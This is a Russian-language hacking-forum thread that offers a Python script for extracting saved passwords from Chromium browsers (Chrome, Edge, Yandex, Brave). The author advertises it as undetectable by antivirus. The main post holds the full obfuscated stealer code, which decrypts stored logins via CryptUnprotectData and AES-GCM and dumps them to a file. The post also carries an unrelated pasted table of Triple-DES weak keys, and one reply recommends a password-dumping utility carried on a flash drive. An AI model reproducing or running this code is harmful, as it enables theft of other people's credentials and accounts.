Загрузка...

Достаем пароли с любого Chromium браузера

Тема в разделе Вирусология создана пользователем Mullvad_inactive7654401 3 окт 2023. (поднята 3 окт 2023) 778 просмотров

Загрузка...
Опрос

Скок за это дадут школьнику 14ти лет?`

Можно выбрать сразу несколько вариантов.
Другие смогут видеть, как Вы проголосовали.
  1. Штраф

    29
    33%
  2. До 12 мес

    4
    4,5%
  3. От 3 до 5

    7
    8%
  4. Пожизненное

    18
    20,5%
  5. В Сибирь отправят

    48
    54,5%
  1. Mullvad_inactive7654401
    Mullvad_inactive7654401 Автор темы 3 окт 2023 0 3 окт 2023
    Получаем пароли с Chrome, Edge итд без шифрования
    Если запустить этот python файл, то антивирус не скажет ни слова, код абсолютно андетект по самой своей структуре


    (Демонстрация под самую кринж песню, которую смог только найти)
    Google Chrome, как и другие браузеры, имеет встроенную функциональность для хранения паролей и учетных данных, которые пользователь вводит на различных веб-сайтах. Когда пользователь входит на сайт, ему предлагается сохранить учетные данные для последующего использования, и если пользователь соглашается, то имя пользователя и пароль будут сохранены во внутренней базе данных. Таким образом, при последующих посещениях этого сайта пользователь будет автоматически входить, используя сохраненные учетные данные, что упрощает процесс авторизации.

    Google Chrome хранит все учетные данные во внутреннем файле базы данных, называемом "Web data", в папке профиля текущего пользователя. В более новых версиях браузера эта база данных была перемещена в новый файл с именем "Login Data". Этот файл базы данных имеет формат SQLite и содержит несколько таблиц, в которых хранятся разные виды данных, такие как автозаполнение, ключевые слова для поиска и другие, в дополнение к учетным данным.

    Таблица "logins" в основном содержит информацию о учетных данных для входа, такую как URL веб-сайта, имя пользователя, поля пароля и т. д. Вся эта информация хранится в открытом виде, за исключением паролей, которые зашифрованы.

    Google Chrome шифрует пароль с помощью функции CryptProtectData, встроенной в Windows. Несмотря на то, что это может быть очень безопасной функцией, использующей алгоритм Triple-DES и создающей пользовательские ключи для шифрования данных, она может быть расшифрована, пока вы вошли в ту же учетную запись, что и пользователь, который ее зашифровал. Функция CryptProtectData имеет своего "брата", который делает обратное – CryptUnprotectData, который... ну, вы уже догадались, расшифровывает данные. И, очевидно, это может быть очень полезным при попытке расшифровать хранимые пароли.

    С учетом этих ограничений на допустимые ключи Triple DES был вновь одобрен только с вариантами ключей 1 и 2. Как правило, три ключа генерируются путем взятия 24 байтов от сильного генератора случайных чисел, при этом следует использовать только вариант 1 (для варианта 2 требуется всего 16 случайных байтов, но сильные генераторы случайных чисел трудно утвердить, поэтому считается, что лучше использовать только вариант 1).


    SQL
    01.01.01.01.01.01.01.01, FE.FE.FE.FE.FE.FE.FE.FE, E0.FE.FE.E0.F1.FE.FE.F1, 1F.01.01.1F.0E.01.01.0E,
    01.01.FE.FE.01.01.FE.FE, FE.FE.01.01.FE.FE.01.01, E0.FE.01.1F.F1.FE.01.0E, 1F.01.FE.E0.0E.01.FE.F1,
    01.01.E0.E0.01.01.F1.F1, FE.FE.1F.1F.FE.FE.0E.0E, E0.FE.1F.01.F1.FE.0E.01, 1F.01.E0.FE.0E.01.F1.FE,
    01.01.1F.1F.01.01.0E.0E, FE.FE.E0.E0.FE.FE.F1.F1, E0.FE.E0.FE.F1.FE.F1.FE, 1F.01.1F.01.0E.01.0E.01,
    01.FE.01.FE.01.FE.01.FE, FE.01.FE.01.FE.01.FE.01, E0.01.FE.1F.F1.01.FE.0E, 1F.FE.01.E0.0E.FE.01.F1,
    01.FE.FE.01.01.FE.FE.01, FE.01.01.FE.FE.01.01.FE, E0.01.01.E0.F1.01.01.F1, 1F.FE.FE.1F.0E.FE.FE.0E,
    01.FE.E0.1F.01.FE.F1.0E, FE.01.1F.E0.FE.01.0E.F1, E0.01.1F.FE.F1.01.0E.FE, 1F.FE.E0.01.0E.FE.F1.01,
    01.FE.1F.E0.01.FE.0E.F1, FE.01.E0.1F.FE.01.F1.0E, E0.01.E0.01.F1.01.F1.01, 1F.FE.1F.FE.0E.FE.0E.FE,
    01.E0.01.E0.01.F1.01.F1, FE.1F.FE.1F.FE.0E.FE.0E, E0.1F.FE.01.F1.0E.FE.01, 1F.E0.01.FE.0E.F1.01.FE,
    01.E0.FE.1F.01.F1.FE.0E, FE.1F.01.E0.FE.0E.01.F1, E0.1F.01.FE.F1.0E.01.FE, 1F.E0.FE.01.0E.F1.FE.01,
    01.E0.E0.01.01.F1.F1.01, FE.1F.1F.FE.FE.0E.0E.FE, E0.1F.1F.E0.F1.0E.0E.F1, 1F.E0.E0.1F.0E.F1.F1.0E,
    01.E0.1F.FE.01.F1.0E.FE, FE.1F.E0.01.FE.0E.F1.01, E0.1F.E0.1F.F1.0E.F1.0E, 1F.E0.1F.E0.0E.F1.0E.F1,
    01.1F.01.1F.01.0E.01.0E, FE.E0.FE.E0.FE.F1.FE.F1, E0.E0.FE.FE.F1.F1.FE.FE, 1F.1F.01.01.0E.0E.01.01,
    01.1F.FE.E0.01.0E.FE.F1, FE.E0.01.1F.FE.F1.01.0E, E0.E0.01.01.F1.F1.01.01, 1F.1F.FE.FE.0E.0E.FE.FE,
    01.1F.E0.FE.01.0E.F1.FE, FE.E0.1F.01.FE.F1.0E.01, E0.E0.1F.1F.F1.F1.0E.0E, 1F.1F.E0.E0.0E.0E.F1.F1,
    01.1F.1F.01.01.0E.0E.01, FE.E0.E0.FE.FE.F1.F1.FE, E0.E0.E0.E0.F1.F1.F1.F1, 1F.1F.1F.1F.0E.0E.0E.0E,

    Python
    import base64 as O,json,os as B,shutil as P,sqlite3 as Q
    from Crypto.Cipher import AES
    from win32crypt import CryptUnprotectData as R
    N='columns'
    M='query'
    I='utf-8'
    H='login_data'
    G=print
    F=open
    A=B.getenv('LOCALAPPDATA')
    C={'google-chrome-sxs':A+'\\Google\\Chrome SxS\\User Data','google-chrome':A+'\\Google\\Chrome\\User Data','microsoft-edge':A+'\\Microsoft\\Edge\\User Data','yandex':A+'\\Yandex\\YandexBrowser\\User Data','brave':A+'\\BraveSoftware\\Brave-Browser\\User Data'}
    J={H:{M:'SELECT action_url, username_value, password_value FROM logins','file':'\\Login Data',N:['URL','Email','Password'],'decrypt':True}}
    def S(path):
    E='\\Local State';G='os_crypt';C=None;D=path
    if not B.path.exists(D):return
    if G not in F(D+E,'r',encoding=I).read():return
    with F(D+E,'r',encoding=I)as H:J=H.read()
    K=json.loads(J);A=O.b64decode(K[G]['encrypted_key']);A=A[5:];A=R(A,C,C,C,0)[1];return A
    def T(buff,key):B=buff[3:15];C=buff[15:];D=AES.new(key,AES.MODE_GCM,B);A=D.decrypt(C);A=A[:-16].decode();return A
    def U(path,profile,key):
    C='temp_db';D=f"{path}\\{profile}\\Login Data"
    if not B.path.exists(D):return
    E=''
    try:P.copy(D,C)
    except:pass
    F=Q.connect(C);G=F.cursor()
    try:G.execute(J[H][M])
    except:pass
    for A in G.fetchall():
    A=list(A)
    if isinstance(A[2],bytes):A[2]=T(A[2],key)
    E+='\n'.join([f"{A}: {B}"for(A,B)in zip(J[H][N],A)])+'\n\n'
    F.close();B.remove(C);return E
    def V():
    A=[]
    for D in C.keys():
    if B.path.exists(C[D]):A.append(D)
    return A
    if __name__=='__main__':
    W=V();D=''
    for E in W:K=C[E];X=S(K);G(f"{E}");Y=U(K,'Default',X);D+=f"app: {E}\n{Y}\n\n"
    if D:
    L='out.txt'
    with F(L,'w',encoding=I)as Z:Z.write(D)
    G(f"Saved {L}")
    else:G('\t err 1')
     
  2. чифир
    чифир 3 окт 2023 316 22 июн 2022
    1. Mullvad_inactive7654401 Автор темы
      чифир, pip install и эти две библиотеки
  3. Sennix
    Sennix 18 окт 2023 Заблокирован(а) 475 15 сен 2023
    кому лень, просто качайте webbrowserpassview от нира, и батник с html на флешку :ok_cool:
     
  4. Andrey_NEMO
    что за библиотеки?
     
Top